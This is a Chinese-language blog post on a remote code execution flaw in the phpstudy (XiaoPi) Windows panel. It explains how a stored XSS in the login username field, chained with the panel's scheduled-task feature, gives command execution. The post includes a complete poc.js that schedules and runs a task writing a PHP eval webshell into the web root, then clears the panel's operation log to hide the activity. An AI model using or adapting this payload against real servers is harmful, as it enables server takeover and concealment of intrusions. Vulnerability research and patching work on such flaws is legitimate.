phpstudy小皮Windows面板RCE漏洞
简介
phpstudy是一款集成了最新版apache+php+mysql+phpmyadmin+zendoptimizer的php调试环境程序包。该程序包无需复杂配置,一次性安装即可使用,是一款非常便捷且高效的php调试工具。此外,phpstudy还提供了开发工具和开发手册,进一步增强了其实用性。
概述
phpstudy小皮面板中存在一个远程代码执行(RCE)漏洞。经分析和复现,发现此漏洞源于一个存储型的跨站脚本(XSS)漏洞。通过在系统登录用户名输入框中注入XSS代码,并结合系统后台自动添加计划任务的功能,可以实现RCE。
影响版本
此漏洞影响小皮windows面板V0.102及以下版本。官方已发布修复版本,可从以下链接下载漏洞版本:https://www.php.cn/link/bea65a5d4303b90f2d29322ea14aeffb
漏洞复现
安装成功后,系统会弹出初始账号和密码:
立即学习“PHP免费学习笔记(深入)”;
在尝试几次错误的用户名和密码后(需要正确输入验证码),发现错误的用户名会被记录到首页的操作日志中:
进一步尝试在登录框中插入XSS代码,发现漏洞正是通过登录窗口的存储型XSS实现的。登录框未进行有效限制,且登录失败的用户名会被直接显示在小皮首页的日志中,从而可以插入任意XSS代码。结合phpstudy内置的计划任务功能,可以写入webshell实现RCE。
系统后台的计划任务功能允许执行系统命令,因此通过登录处的XSS漏洞,可以写入计划任务来执行命令。
在VPS上部署时,需要插入以下poc.js文件(写入目录根据本地实际情况进行调整):
function poc() { $.get('/service/app/tasks.php?type=task_list', {}, function(data) { var id = data.data[0].ID; $.post('/service/app/tasks.php?type=exec_task', { tid: id }, function(res2) { $.post('/service/app/log.php?type=clearlog', {}, function(res3) {}, "json"); }, "json"); }, "json"); } function save() { var data = new Object(); data.task_id = ""; data.title = "test"; data.exec_cycle = "1"; data.week = "1"; data.day = "3"; data.hour = "14"; data.minute = "20"; data.shell = 'echo "<?php @eval($_POST[123]);?>" >D:/xp.cn/www/wwwroot/admin/localhost_80/wwwroot/1.php'; $.post('/service/app/tasks.php?type=save_shell', data, function(res) { poc(); }, 'json'); } save();
登录后复制
文章作者:磁力搜索
文章标题:phpstudy小皮Windows面板RCE漏洞
文章链接:https://www.onehaoka.com/3925.html
本站所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议,转载请注明来自磁力搜索 !
文章标题:phpstudy小皮Windows面板RCE漏洞
文章链接:https://www.onehaoka.com/3925.html
本站所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议,转载请注明来自磁力搜索 !
还没收到回复